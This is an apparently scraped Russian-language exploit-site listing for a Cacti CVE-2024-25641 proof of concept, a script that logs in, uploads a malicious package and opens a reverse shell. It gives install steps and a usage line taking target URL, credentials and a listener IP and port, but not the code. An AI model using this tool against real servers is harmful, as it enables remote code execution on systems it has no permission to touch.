Exploit for CVE-2024-25641

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SAFARCHAND-CVE-2024-25641
# Cacti CVE-2024-25641: Аутентифицированная загрузка пакета с RCE — Proof of Concept (PoC)

Этот скрипт является Proof of Concept (PoC) для эксплуатации уязвимости CVE-2024-25641 в Cacti — веб-инструменте мониторинга. Скрипт автоматизирует процесс аутентификации в приложении, загрузки вредоносного пакета и запуска обратного шелла.

## Требования

  * Python 3.x
  * Библиотека `requests`
  * Библиотека `argparse`
  * Библиотека `re`



Вы можете установить необходимую библиотеку Python с помощью pip3:

root@kitploit:~
    
    
    pip3 install requests
    pip3 install argparse
    pip3 install re
    

## Использование

(убедитесь, что файл **test.xml.gz** находится в той же папке, что и **exploit.py**)

root@kitploit:~
    
    
    python3 exploit.py --url <TARGET_URL> -u <USERNAME> -p <PASSWORD> -i <LOCAL_IP> -l <PORT> [--proxy]